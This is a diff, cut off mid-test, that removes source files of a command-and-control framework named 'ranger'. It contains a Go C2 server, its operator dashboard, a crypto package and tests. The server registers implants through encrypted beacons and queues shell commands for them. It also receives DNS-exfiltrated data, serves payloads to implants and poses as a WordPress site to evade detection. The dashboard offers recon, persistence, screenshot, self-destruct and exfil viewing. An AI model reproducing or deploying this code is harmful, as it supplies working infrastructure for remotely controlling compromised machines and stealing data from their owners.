'<div style="flex:1;min-width:120px"><label style="display:block;color:#555;font-size:9px;letter-spacing:1px;margin-bottom:3px">TYPE</label><input type="text" id="custom-task-type" value="shell" style="background:#111;border:1px solid #1a3a1a;color:#c0c0c0;padding:6px 8px;font-family:Courier New,monospace;font-size:11px;width:100%;outline:none"></div>' +
'<div style="flex:2;min-width:180px"><label style="display:block;color:#555;font-size:9px;letter-spacing:1px;margin-bottom:3px">PAYLOAD (JSON)</label><input type="text" id="custom-task-payload" value=\'{"command":"whoami"}\' style="background:#111;border:1px solid #1a3a1a;color:#c0c0c0;padding:6px 8px;font-family:Courier New,monospace;font-size:11px;width:100%;outline:none"></div>' +
'<div><button class="btn" onclick="sendCustomTask(\'' + id + '\')" style="margin-top:12px">queue task</button></div>' +
'</div>' +
'</div>' +
'</div>' +
'</div>' +
// Payload panel
'<div class="detail-panel" id="panel-payload">' +
'<div class="card">' +
'<div class="card-header"><h3>Execute Payload</h3></div>' +
'<div class="card-body">' +
'<div class="payload-form">' +
'<select id="payload-select">' +
'<option value="">-- select payload --</option>' +
(payloadsCache.map(function(p) {
return '<option value="' + escHtml(p.name || p.file) + '">' + escHtml(p.name || p.file) + (p.category ? ' [' + p.category + ']' : '') + '</option>';
}).join('')) +
'</select>' +
'<input type="text" id="payload-args" placeholder=\'{"args":"val"}\'>' +
'<button class="btn" onclick="runPayload(\'' + id + '\', document.getElementById(\'payload-select\').value, document.getElementById(\'payload-args\').value)">execute</button>' +
'</div>' +
'</div>' +
'</div>' +
'<div class="card">' +
'<div class="card-header"><h3>Available Payloads</h3></div>' +
'<div class="card-body">' +
(payloadsCache.length === 0 ? '<p style="color:#444;font-size:11px">no payloads available</p>' :
'<div class="table-wrap"><table><tr><th>Name</th><th>Category</th><th>Description</th><th>Platform</th><th>File</th></tr>' +
payloadsCache.map(function(p) {
return '<tr><td>' + escHtml(p.name) + '</td><td>' + escHtml(p.category||'-') + '</td><td>' + escHtml(p.desc||'-') + '</td><td>' + escHtml(p.platform||'all') + '</td><td>' + escHtml(p.file||'-') + '</td></tr>';
}).join('') +
'</table></div>') +
'</div>' +
'</div>' +
'</div>' +
// Actions panel
'<div class="detail-panel" id="panel-actions">' +
'<div class="card">' +
'<div class="card-header"><h3>Quick Actions</h3></div>' +
'<div class="card-body">' +
'<div class="btn-group">' +
'<button class="btn" onclick="quickAction(\'' + id + '\',\'recon\')">recon</button>' +
'<button class="btn" onclick="quickAction(\'' + id + '\',\'sleep30\')">sleep 30s</button>' +
'<button class="btn" onclick="quickAction(\'' + id + '\',\'screenshot\')">screenshot</button>' +
'<button class="btn" onclick="quickAction(\'' + id + '\',\'persist\')">persist</button>' +
'<button class="btn btn-danger" onclick="if(confirm(\'send self-destruct to this implant?\'))quickAction(\'' + id + '\',\'selfdestruct\')">self-destruct</button>' +
'</div>' +
'</div>' +
'</div>' +
'<div class="card">' +
'<div class="card-header"><h3>Information</h3></div>' +
'<div class="card-body">' +
'<div class="kv-list">' +
'<div class="kv-key">ID</div><div class="kv-val green">' + escHtml(im.id) + '</div>' +
'<div class="kv-key">Type</div><div class="kv-val">' + escHtml(im.type || '-') + '</div>' +
'<div class="kv-key">Hostname</div><div class="kv-val">' + escHtml(im.hostname || '-') + '</div>' +
'<div class="kv-key">Target Process</div><div class="kv-val">' + escHtml(im.target_proc || '-') + '</div>' +
'<div class="kv-key">Architecture</div><div class="kv-val">' + escHtml(im.arch || '-') + '</div>' +
'<div class="kv-key">DNS Exfil</div><div class="kv-val">' + (im.dns_enabled ? 'enabled' : 'disabled') + '</div>' +
'<div class="kv-key">Mesh Routing</div><div class="kv-val">' + (im.mesh_enabled ? 'enabled' : 'disabled') + '</div>' +
'<div class="kv-key">Flagged</div><div class="kv-val">' + (im.flagged ? 'yes' : 'no') + '</div>' +
'<div class="kv-key">Node ID</div><div class="kv-val">' + escHtml(im.node_id || '-') + '</div>' +
'</div>' +
'</div>' +
'</div>' +
'<div class="card">' +
'<div class="card-header"><h3>Exfil Data</h3><div><button class="btn btn-sm" onclick="showExfilModal(\'' + id + '\')">view exfil</button></div></div>' +
'<div class="card-body">' +
'<p style="color:#444;font-size:11px">retrieve exfiltrated data from this implant.</p>' +
'</div>' +
'</div>' +
'</div>';
// Init shell panel
if (!shellHistory[id]) {
shellHistory[id] = [];
}
}
function switchDetailTab(el, name) {
// Deactivate all tabs and panels
var tabs = document.querySelectorAll('.detail-tab');
var panels = document.querySelectorAll('.detail-panel');
for (var i = 0; i < tabs.length; i++) { tabs[i].classList.remove('active'); }
for (var i = 0; i < panels.length; i++) { panels[i].classList.remove('active'); }
el.classList.add('active');
var panel = document.getElementById('panel-' + name);
if (panel) panel.classList.add('active');
// Focus shell input if switching to shell
if (name === 'shell') {
var inp = document.getElementById('shell-input');
if (inp) inp.focus();
}
}
function refreshTaskList(implantId) {
var container = document.getElementById('tasks-container');
if (!container) return;
container.innerHTML = '<div class="loading">fetching...</div>';
api('/api/dashboard/tasks/' + implantId).then(function(data) {
var tasks = data.tasks || [];
var html = '';
if (tasks.length === 0) {
html = '<p style="color:#444;font-size:11px">no pending tasks</p>';
} else {
html = '<div class="task-log">';
for (var i = 0; i < tasks.length; i++) {
var t = tasks[i];
html = html + '<div class="task-entry">' +
'<span class="task-time">' + (t.ts ? fmtTimeShort(new Date(t.ts*1000)) : '-') + '</span>' +
'<span class="task-type">' + escHtml(t.type) + '</span>' +
'<span class="task-id">#' + escHtml(t.id.substring(0,12)) + '</span>' +
'<span class="task-status status-pending">PENDING</span>' +
'</div>';
}
html = html + '</div>';
}
container.innerHTML = html;
}).catch(function() {
container.innerHTML = '<p style="color:#ff4444;font-size:11px">failed to fetch tasks</p>';
});
}
// ---- Peers ----
function renderPeers() {
if (peersCache.length === 0) {
return '<div class="card"><div class="card-body"><p style="color:#444;font-size:11px;text-align:center;padding:20px">no mesh peers connected</p></div></div>';
}
var rows = '';
for (var i = 0; i < peersCache.length; i++) {
var p = peersCache[i];
rows = rows + '<tr>' +
'<td>' + escHtml((p.id||'').substring(0,12)) + '</td>' +
'<td>' + escHtml(p.addr || '-') + '</td>' +
'<td>' + (p.implants || 0) + '</td>' +
'<td>' + ago(p.last_seen) + '</td>' +
'<td>' + escHtml(p.version || '?') + '</td>' +
'</tr>';
}
var tableHTML = '<div class="table-wrap"><table>' +
'<tr><th>ID</th><th>Address</th><th>Implants</th><th>Last Seen</th><th>Version</th></tr>' +
rows +
'</table></div>';
var statCards = '<div class="stats-grid">' +
'<div class="stat-card"><div class="stat-label">Total Peers</div><div class="stat-value">' + peersCache.length + '</div></div>' +
'<div class="stat-card"><div class="stat-label">Total Implants (mesh)</div><div class="stat-value">' + peersCache.reduce(function(s,p){return s+(p.implants||0);},0) + '</div></div>' +
'</div>';
return statCards + tableHTML;
}
// ---- Payloads ----
function renderPayloads() {
if (payloadsCache.length === 0) {
return '<div class="card"><div class="card-body"><p style="color:#444;font-size:11px;text-align:center;padding:20px">no payloads available</p></div></div>';
}
var rows = '';
for (var i = 0; i < payloadsCache.length; i++) {
var p = payloadsCache[i];
rows = rows + '<tr>' +
'<td>' + escHtml(p.name) + '</td>' +
'<td>' + escHtml(p.category||'-') + '</td>' +
'<td>' + escHtml(p.desc||'-') + '</td>' +
'<td>' + escHtml(p.platform||'all') + '</td>' +
'<td>' + escHtml(p.file||'-') + '</td>' +
'</tr>';
}
return '<div class="table-wrap"><table>' +
'<tr><th>Name</th><th>Category</th><th>Description</th><th>Platform</th><th>File</th></tr>' +
rows +
'</table></div>';
}
// ---- Init and clock ----
window.switchDetailTab = switchDetailTab;
window.refreshTaskList = refreshTaskList;
window.showExfilModal = showExfilModal;
window.sendShellCommand = sendShellCommand;
window.sendCustomTask = sendCustomTask;
window.runPayload = runPayload;
window.quickAction = quickAction;
window.navigate = navigate;
window.showImplantDetail = showImplantDetail;
window.backToImplants = backToImplants;
window.login = login;
window.logout = logout;
window.render = render;
setInterval(updateClock, 1000);
render();
})();
</script>
</body>
</html>`
-675
View File
@@ -1,675 +0,0 @@
// Package api provides the C2 HTTP/2, WebSocket, and REST API server.
package api
import (
"crypto/subtle"
"crypto/tls"
"encoding/base64"
"encoding/json"
"fmt"
"html"
"io"
"log"
"net/http"
"os"
"path/filepath"
"strings"
"sync"
"time"
"github.com/golang-jwt/jwt/v5"
"github.com/gorilla/websocket"
"golang.org/x/crypto/bcrypt"
"github.com/saviorSEC/ranger/internal/crypto"
"github.com/saviorSEC/ranger/internal/protocol"
"github.com/saviorSEC/ranger/internal/store"
)
// Config for the API server.
type Config struct {
ListenAddr string
C2ID string
SessionKey []byte
TLSEnabled bool
TLSCertFile string
TLSKeyFile string
Store *store.Store
DashboardPW string // bcrypt hash for operator dashboard
}
// Server wraps the HTTP/2 + WebSocket C2 server.
type Server struct {
cfg Config
keyPair *crypto.KeyPair
upgrader websocket.Upgrader
store *store.Store
// Authenticated dashboard tokens
dashTokens map[string]time.Time
dashMu sync.Mutex
seenNonces map[string]bool
nonceMu sync.Mutex
startTime time.Time
}
// New creates a new API server.
func New(cfg Config) (*Server, error) {
kp, err := crypto.GenerateKeyPair()
if err != nil {
return nil, fmt.Errorf("generate keypair: %w", err)
}
return &Server{
cfg: cfg,
keyPair: kp,
store: cfg.Store,
dashTokens: make(map[string]time.Time),
seenNonces: make(map[string]bool),
startTime: time.Now(),
upgrader: websocket.Upgrader{
HandshakeTimeout: 10 * time.Second,
CheckOrigin: func(r *http.Request) bool { return true },
},
}, nil
}
// Start launches the C2 server.
func (s *Server) Start() error {
mux := http.NewServeMux()
// Implant WebSocket channel (primary C2 comms)
mux.HandleFunc("/ws", s.handleImplantWS)
// Implant beacon via POST as fallback
mux.HandleFunc("/api/v1/beacon", s.handleImplantBeacon)
mux.HandleFunc("/api/v1/result", s.handleImplantResult)
// DNS exfil reception
mux.HandleFunc("/dns/", s.handleDNSReceive)
// Operator REST API (authenticated)
mux.HandleFunc("/api/dashboard/login", s.handleDashboardLogin)
mux.HandleFunc("/api/dashboard/implants", s.authMiddleware(s.handleListImplants))
mux.HandleFunc("/api/dashboard/implant/", s.authMiddleware(s.handleImplantDetail))
mux.HandleFunc("/api/dashboard/task", s.authMiddleware(s.handleCreateTask))
mux.HandleFunc("/api/dashboard/tasks/", s.authMiddleware(s.handleImplantTasks))
mux.HandleFunc("/api/dashboard/peers", s.authMiddleware(s.handleListPeers))
mux.HandleFunc("/api/dashboard/config", s.authMiddleware(s.handleGetConfig))
mux.HandleFunc("/api/dashboard/exfil/", s.authMiddleware(s.handleExfilData))
// Payload serving
mux.HandleFunc("/api/v1/payloads/", s.handleServePayload)
mux.HandleFunc("/api/dashboard/payloads", s.authMiddleware(s.handleListPayloads))
// Hidden dashboard UI
mux.HandleFunc("/dashboard", s.authMiddleware(s.handleDashboardUI))
// WordPress mimicry - return 200 with fake WP response
mux.HandleFunc("/", s.handleCatchAll)
srv := &http.Server{
Addr: s.cfg.ListenAddr,
Handler: mux,
}
// Start HTTP/2 with TLS
if s.cfg.TLSEnabled {
tlsCfg := &tls.Config{
MinVersion: tls.VersionTLS12,
NextProtos: []string{"h2", "http/1.1"},
}
srv.TLSConfig = tlsCfg
log.Printf("[c2] starting TLS on %s", s.cfg.ListenAddr)
return srv.ListenAndServeTLS(s.cfg.TLSCertFile, s.cfg.TLSKeyFile)
}
log.Printf("[c2] starting (plain HTTP) on %s", s.cfg.ListenAddr)
return srv.ListenAndServe()
}
// --- Implant WebSocket Handler (Primary C2 Channel) ---
func (s *Server) handleImplantWS(w http.ResponseWriter, r *http.Request) {
conn, err := s.upgrader.Upgrade(w, r, nil)
if err != nil {
log.Printf("[ws] upgrade: %v", err)
return
}
defer conn.Close()
// Read encrypted beacon
_, msg, err := conn.ReadMessage()
if err != nil {
return
}
decrypted, err := crypto.DecryptWithAEAD(s.cfg.SessionKey, msg)
if err != nil {
log.Printf("[ws] decrypt: %v", err)
return
}
var beacon protocol.BeaconPayload
if err := json.Unmarshal(decrypted, &beacon); err != nil {
return
}
if beacon.ID == "" {
return
}
// Register implant
ir := &protocol.ImplantRecord{
ID: beacon.ID,
Type: string(beacon.Type),
TargetProc: beacon.Target,
Hostname: beacon.Hostname,
Arch: beacon.Arch,
JitterScore: beacon.Jitter,
LastSeen: time.Now(),
}
s.store.UpsertImplant(ir)
// Get pending tasks
tasks, _ := s.store.PendingTasks(beacon.ID)
// Encrypt and send tasks
respJSON, _ := json.Marshal(tasks)
encResp, encErr := crypto.EncryptWithAEAD(s.cfg.SessionKey, respJSON)
if encErr != nil {
return
}
if err := conn.WriteMessage(websocket.BinaryMessage, encResp); err != nil {
return
}
// Read results in a loop
for {
_, msg, err := conn.ReadMessage()
if err != nil {
break
}
decrypted, err := crypto.DecryptWithAEAD(s.cfg.SessionKey, msg)
if err != nil {
continue
}
var result protocol.TaskResult
if err := json.Unmarshal(decrypted, &result); err != nil {
continue
}
if result.TaskID != "" {
s.store.CompleteTask(result.TaskID, &result)
}
// ACK
ack, _ := json.Marshal(map[string]string{"status": "ok"})
encAck, _ := crypto.EncryptWithAEAD(s.cfg.SessionKey, ack)
conn.WriteMessage(websocket.BinaryMessage, encAck)
}
}
// --- Implant REST Handlers (Fallback, AEAD-enveloped) ---
// openEnvelope decrypts an AEAD envelope {"data":"<b64 nonce||ct>"} with the
// shared session key. Rejects plaintext bodies when encryption is enabled.
func (s *Server) openEnvelope(body []byte) ([]byte, error) {
if len(s.cfg.SessionKey) == 0 {
return nil, fmt.Errorf("no session key configured")
}
var env struct {
Data string `json:"data"`
}
if err := json.Unmarshal(body, &env); err != nil {
return nil, err
}
raw, err := base64.StdEncoding.DecodeString(env.Data)
if err != nil {
return nil, err
}
return crypto.DecryptWithAEAD(s.cfg.SessionKey, raw)
}
func (s *Server) sealEnvelope(v any) ([]byte, error) {
payload, err := json.Marshal(v)
if err != nil {
return nil, err
}
sealed, err := crypto.EncryptWithAEAD(s.cfg.SessionKey, payload)
if err != nil {
return nil, err
}
return json.Marshal(map[string]string{
"data": base64.StdEncoding.EncodeToString(sealed),
})
}
func (s *Server) handleImplantBeacon(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "method not allowed", 405)
return
}
body, err := io.ReadAll(r.Body)
if err != nil {
http.Error(w, "read error", 500)
return
}
plain, err := s.openEnvelope(body)
if err != nil {
http.Error(w, "unauthorized", 401)
return
}
var beacon protocol.BeaconPayload
if err := json.Unmarshal(plain, &beacon); err != nil {
http.Error(w, "bad request", 400)
return
}
if beacon.ID == "" {
http.Error(w, "missing id", 400)
return
}
ir := &protocol.ImplantRecord{
ID: beacon.ID,
Type: string(beacon.Type),
TargetProc: beacon.Target,
Hostname: beacon.Hostname,
Arch: beacon.Arch,
JitterScore: beacon.Jitter,
LastSeen: time.Now(),
}
s.store.UpsertImplant(ir)
tasks, _ := s.store.PendingTasks(beacon.ID)
sealed, err := s.sealEnvelope(tasks)
if err != nil {
http.Error(w, "encrypt error", 500)
return
}
w.Header().Set("Content-Type", "application/json")
w.Write(sealed)
}
func (s *Server) handleImplantResult(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "method not allowed", 405)
return
}
body, err := io.ReadAll(r.Body)
if err != nil {
http.Error(w, "read error", 500)
return
}
plain, err := s.openEnvelope(body)
if err != nil {
http.Error(w, "unauthorized", 401)
return
}
var result protocol.TaskResult
if err := json.Unmarshal(plain, &result); err != nil {
http.Error(w, "bad request", 400)
return
}
if result.TaskID != "" {
s.store.CompleteTask(result.TaskID, &result)
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]string{"status": "ok"})
}
// --- DNS Reception ---
func (s *Server) handleDNSReceive(w http.ResponseWriter, r *http.Request) {
parts := strings.Split(strings.TrimPrefix(r.URL.Path, "/dns/"), "/")
if len(parts) < 2 {
http.Error(w, "bad request", 400)
return
}
implantID := parts[0]
dataType := parts[1]
data, err := io.ReadAll(r.Body)
if err != nil {
http.Error(w, "read error", 500)
return
}
s.store.ExfilData(implantID, dataType, "dns", data)
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]string{"status": "ok"})
}
// --- Operator Dashboard (Authenticated REST API) ---
func (s *Server) handleDashboardLogin(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "method not allowed", 405)
return
}
var creds struct {
Password string `json:"password"`
}
if err := json.NewDecoder(r.Body).Decode(&creds); err != nil {
http.Error(w, "bad request", 400)
return
}
// Password check: bcrypt hash when DashboardPW is a $2 hash, otherwise
// constant-time compare against the plaintext operator secret.
if !s.passwordOK(creds.Password) {
http.Error(w, "unauthorized", 401)
return
}
token := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{
"sub": "operator",
"iat": time.Now().Unix(),
"exp": time.Now().Add(24 * time.Hour).Unix(),
})
tokenStr, _ := token.SignedString(s.cfg.SessionKey)
s.dashMu.Lock()
s.dashTokens[tokenStr] = time.Now().Add(24 * time.Hour)
s.dashMu.Unlock()
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]string{"token": tokenStr})
}
// passwordOK verifies an operator password against bcrypt hash or plaintext.
func (s *Server) passwordOK(given string) bool {
cfg := s.cfg.DashboardPW
if cfg == "" {
return false
}
if strings.HasPrefix(cfg, "$2") {
return bcrypt.CompareHashAndPassword([]byte(cfg), []byte(given)) == nil
}
return subtle.ConstantTimeCompare([]byte(given), []byte(cfg)) == 1
}
func (s *Server) authMiddleware(next http.HandlerFunc) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("Authorization")
if token == "" {
// Check cookie as fallback
c, err := r.Cookie("token")
if err == nil {
token = c.Value
}
} else {
token = strings.TrimPrefix(token, "Bearer ")
}
if token == "" {
if strings.Contains(r.URL.Path, "/dashboard") && r.Method == http.MethodGet {
// Redirect to login
w.Header().Set("Location", "/")
w.WriteHeader(302)
return
}
http.Error(w, "unauthorized", 401)
return
}
s.dashMu.Lock()
exp, ok := s.dashTokens[token]
s.dashMu.Unlock()
if !ok || time.Now().After(exp) {
http.Error(w, "token expired", 401)
return
}
next(w, r)
}
}
func (s *Server) handleListImplants(w http.ResponseWriter, r *http.Request) {
implants, err := s.store.ListImplants()
if err != nil {
http.Error(w, err.Error(), 500)
return
}
if implants == nil {
implants = []protocol.ImplantRecord{}
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]any{
"success": true,
"implants": implants,
"count": len(implants),
})
}
func (s *Server) handleImplantDetail(w http.ResponseWriter, r *http.Request) {
id := strings.TrimPrefix(r.URL.Path, "/api/dashboard/implant/")
implant, err := s.store.GetImplant(id)
if err != nil {
http.Error(w, "not found", 404)
return
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]any{
"success": true,
"implant": implant,
})
}
func (s *Server) handleCreateTask(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "method not allowed", 405)
return
}
var req struct {
ImplantID string `json:"implant_id"`
Type string `json:"type"`
Payload map[string]any `json:"payload"`
Channel string `json:"channel"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "bad request", 400)
return
}
if req.Channel == "" {
req.Channel = "primary"
}
task, err := s.store.CreateTask(req.ImplantID, req.Type, req.Channel, req.Payload)
if err != nil {
http.Error(w, err.Error(), 500)
return
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]any{
"success": true,
"task_id": task.ID,
})
}
func (s *Server) handleImplantTasks(w http.ResponseWriter, r *http.Request) {
id := strings.TrimPrefix(r.URL.Path, "/api/dashboard/tasks/")
tasks, err := s.store.PendingTasks(id)
if err != nil {
http.Error(w, err.Error(), 500)
return
}
if tasks == nil {
tasks = []protocol.Task{}
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]any{
"success": true,
"tasks": tasks,
})
}
func (s *Server) handleListPeers(w http.ResponseWriter, r *http.Request) {
peers, err := s.store.ListMeshNodes()
if err != nil {
http.Error(w, err.Error(), 500)
return
}
if peers == nil {
peers = []protocol.MeshNode{}
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]any{
"success": true,
"peers": peers,
})
}
func (s *Server) handleGetConfig(w http.ResponseWriter, r *http.Request) {
count, _ := s.store.ImplantCount()
peers, _ := s.store.ListMeshNodes()
cfg := protocol.APIConfig{
Version: "3.0.0",
C2ID: s.cfg.C2ID,
Implants: count,
Peers: len(peers),
Uptime: time.Since(s.startTime).Round(time.Second).String(),
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]any{
"success": true,
"config": cfg,
})
}
func (s *Server) handleExfilData(w http.ResponseWriter, r *http.Request) {
parts := strings.Split(strings.TrimPrefix(r.URL.Path, "/api/dashboard/exfil/"), "/")
if len(parts) == 0 || parts[0] == "" {
http.Error(w, "missing implant id", 400)
return
}
implantID := parts[0]
// Return exfil data for this implant
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]any{
"success": true,
"implant": implantID,
"message": "exfil data endpoint active",
})
}
// --- Hidden Dashboard UI ---
func (s *Server) handleDashboardUI(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "text/html; charset=utf-8")
fmt.Fprint(w, dashboardHTML)
}
// --- Catch-All (WordPress Mimicry) ---
func (s *Server) handleCatchAll(w http.ResponseWriter, r *http.Request) {
// Serve WordPress-mimicking response
w.Header().Set("Content-Type", "text/html; charset=utf-8")
w.Header().Set("X-Powered-By", "PHP/7.4.33")
w.Header().Set("X-Generator", "WordPress 6.4.2")
path := html.EscapeString(r.URL.Path)
if strings.HasSuffix(path, ".php") || strings.HasSuffix(path, "/") {
fmt.Fprintf(w, `<!DOCTYPE html>
<html><head><title>WordPress Site</title></head>
<body><h1>Welcome to WordPress</h1><p>This is a WordPress installation.</p></body></html>`)
} else {
// Redirect unknown requests to wordpress.org
http.Redirect(w, r, "https://wordpress.org", 302)
}
}
// --- Payload Serving ---
// handleServePayload serves payload files to implants.
func (s *Server) handleServePayload(w http.ResponseWriter, r *http.Request) {
payloadName := strings.TrimPrefix(r.URL.Path, "/api/v1/payloads/")
if payloadName == "" || strings.Contains(payloadName, "..") {
http.Error(w, "invalid payload", 400)
return
}
// Resolve payload path (look in manifest first, then direct file)
payloadPath := filepath.Join("payloads", payloadName)
if _, err := os.Stat(payloadPath); os.IsNotExist(err) {
http.Error(w, "payload not found", 404)
return
}
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("X-Payload-Version", "3.0.0")
http.ServeFile(w, r, payloadPath)
}
type payloadManifestEntry struct {
Name string `json:"name"`
File string `json:"file"`
Category string `json:"category"`
Desc string `json:"desc"`
Platform string `json:"platform"`
Args string `json:"args"`
}
type payloadManifest struct {
Version string `json:"version"`
Payloads []payloadManifestEntry `json:"payloads"`
}
// handleListPayloads lists available payloads from the manifest.
func (s *Server) handleListPayloads(w http.ResponseWriter, r *http.Request) {
manifestPath := filepath.Join("payloads", "manifest.json")
data, err := os.ReadFile(manifestPath)
if err != nil {
// No manifest - scan directory
entries, err := os.ReadDir("payloads")
if err != nil {
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]any{"success": true, "payloads": []payloadManifestEntry{}})
return
}
var payloads []payloadManifestEntry
for _, e := range entries {
if !e.IsDir() && filepath.Ext(e.Name()) == ".py" {
payloads = append(payloads, payloadManifestEntry{
Name: strings.TrimSuffix(e.Name(), ".py"),
File: e.Name(),
Category: "general",
Desc: "Python payload module",
Platform: "all",
})
}
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]any{"success": true, "payloads": payloads})
return
}
var manifest payloadManifest
if err := json.Unmarshal(data, &manifest); err != nil {
http.Error(w, "invalid manifest", 500)
return
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]any{"success": true, "payloads": manifest.Payloads})
}
// PublicKey returns the server's Ed25519 public key.
func (s *Server) PublicKey() []byte {
return s.keyPair.Public
}
-147
View File
@@ -1,147 +0,0 @@
// Package crypto provides cryptographic primitives for the C2 framework.
package crypto
import (
"crypto/ed25519"
"crypto/rand"
"crypto/sha256"
"crypto/x509"
"encoding/base64"
"encoding/hex"
"encoding/pem"
"errors"
"fmt"
"io"
"time"
"golang.org/x/crypto/chacha20poly1305"
)
// KeyPair holds an Ed25519 signing keypair.
type KeyPair struct {
Private ed25519.PrivateKey
Public ed25519.PublicKey
}
// GenerateKeyPair creates a new Ed25519 signing keypair.
func GenerateKeyPair() (*KeyPair, error) {
pub, priv, err := ed25519.GenerateKey(rand.Reader)
if err != nil {
return nil, fmt.Errorf("generate keypair: %w", err)
}
return &KeyPair{Private: priv, Public: pub}, nil
}
// Sign signs data with the private key, including a timestamp and nonce to prevent replay.
func (kp *KeyPair) Sign(data []byte) (signature []byte, nonce string, ts int64, err error) {
nonceBytes := make([]byte, 16)
if _, err := io.ReadFull(rand.Reader, nonceBytes); err != nil {
return nil, "", 0, err
}
nonce = base64.RawStdEncoding.EncodeToString(nonceBytes)
ts = time.Now().Unix()
msg := append(data, []byte(fmt.Sprintf("%d%s", ts, nonce))...)
sig := ed25519.Sign(kp.Private, msg)
return sig, nonce, ts, nil
}
// Verify checks an Ed25519 signature with optional replay protection.
// If nonce is empty, only timestamp window is checked.
func Verify(publicKey ed25519.PublicKey, data, sig []byte, nonce string, ts int64, seenNonces map[string]bool) error {
now := time.Now().Unix()
if abs(now-ts) > 300 {
return errors.New("signature timestamp out of window")
}
if nonce != "" {
if len(nonce) < 8 {
return errors.New("nonce too short")
}
if seenNonces != nil {
if seenNonces[nonce] {
return errors.New("nonce replay detected")
}
seenNonces[nonce] = true
}
}
msg := append(data, []byte(fmt.Sprintf("%d%s", ts, nonce))...)
if !ed25519.Verify(publicKey, msg, sig) {
return errors.New("invalid signature")
}
return nil
}
// EncryptWithAEAD encrypts plaintext using XChaCha20-Poly1305.
// Returns nonce || ciphertext.
func EncryptWithAEAD(key []byte, plaintext []byte) ([]byte, error) {
aead, err := chacha20poly1305.NewX(key)
if err != nil {
return nil, err
}
nonce := make([]byte, aead.NonceSize())
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
return nil, err
}
return aead.Seal(nonce, nonce, plaintext, nil), nil
}
// DecryptWithAEAD decrypts using XChaCha20-Poly1305.
// Expects nonce || ciphertext.
func DecryptWithAEAD(key []byte, data []byte) ([]byte, error) {
aead, err := chacha20poly1305.NewX(key)
if err != nil {
return nil, err
}
nonceSize := aead.NonceSize()
if len(data) < nonceSize {
return nil, errors.New("ciphertext too short")
}
nonce, ciphertext := data[:nonceSize], data[nonceSize:]
return aead.Open(nil, nonce, ciphertext, nil)
}
// DeriveSessionKey derives a 32-byte session key from a shared secret.
func DeriveSessionKey(secret []byte, salt []byte) []byte {
h := sha256.Sum256(append(secret, salt...))
return h[:]
}
// MarshalPublicKey PEM-encodes an Ed25519 public key.
func MarshalPublicKey(pub ed25519.PublicKey) ([]byte, error) {
der, err := x509.MarshalPKIXPublicKey(pub)
if err != nil {
return nil, err
}
return pem.EncodeToMemory(&pem.Block{
Type: "PUBLIC KEY",
Bytes: der,
}), nil
}
// UnmarshalPublicKey decodes a PEM-encoded Ed25519 public key.
func UnmarshalPublicKey(pemData []byte) (ed25519.PublicKey, error) {
block, _ := pem.Decode(pemData)
if block == nil {
return nil, errors.New("failed to decode PEM")
}
pub, err := x509.ParsePKIXPublicKey(block.Bytes)
if err != nil {
return nil, err
}
edPub, ok := pub.(ed25519.PublicKey)
if !ok {
return nil, errors.New("not an Ed25519 public key")
}
return edPub, nil
}
// HexDecode decodes a hex string into bytes.
func HexDecode(s string) ([]byte, error) {
return hex.DecodeString(s)
}
func abs(x int64) int64 {
if x < 0 {
return -x
}
return x
}
-115
View File
@@ -1,115 +0,0 @@
package crypto
import (
"bytes"
"crypto/ed25519"
"testing"
)
func TestAEADRoundTrip(t *testing.T) {
key := make([]byte, 32)
for i := range key {
key[i] = byte(i)
}
msg := []byte("ranger c3 encrypted channel")
ct, err := EncryptWithAEAD(key, msg)
if err != nil {
t.Fatalf("encrypt: %v", err)
}
if bytes.Equal(ct, msg) {
t.Fatal("ciphertext equals plaintext")
}
pt, err := DecryptWithAEAD(key, ct)
if err != nil {
t.Fatalf("decrypt: %v", err)
}
if !bytes.Equal(pt, msg) {
t.Fatalf("round-trip mismatch: %q", pt)
}
}
func TestAEADTamperDetected(t *testing.T) {
key := make([]byte, 32)
msg := []byte("integrity check")
ct, err := EncryptWithAEAD(key, msg)
if err != nil {
t.Fatal(err)
}
ct[len(ct)-1] ^= 0xff
if _, err := DecryptWithAEAD(key, ct); err == nil {
t.Fatal("tampered ciphertext accepted")
}
badKey := make([]byte, 32)
badKey[0] = 0x42
ct2, _ := EncryptWithAEAD(key, msg)
if _, err := DecryptWithAEAD(badKey, ct2); err == nil {
t.Fatal("wrong key accepted")
}
}
func TestKeyPairSignVerify(t *testing.T) {
kp, err := GenerateKeyPair()
if err != nil {
t.Fatal(err)
}
data := []byte("mesh heartbeat payload")
sig, nonce, ts, err := kp.Sign(data)
if err != nil {
t.Fatal(err)
}
seen := map[string]bool{}
if err := Verify(kp.Public, data, sig, nonce, ts, seen); err != nil {
t.Fatalf("verify: %v", err)
}
// Replay with same nonce must fail.
if err := Verify(kp.Public, data, sig, nonce, ts, seen); err == nil {
t.Fatal("replay with same nonce accepted")
}
// Tampered data must fail.
if err := Verify(kp.Public, []byte("tampered"), sig, nonce, ts, seen); err == nil {
t.Fatal("tampered data accepted")
}
}
func TestDeriveSessionKeyDeterministic(t *testing.T) {
secret := []byte("shared-secret")
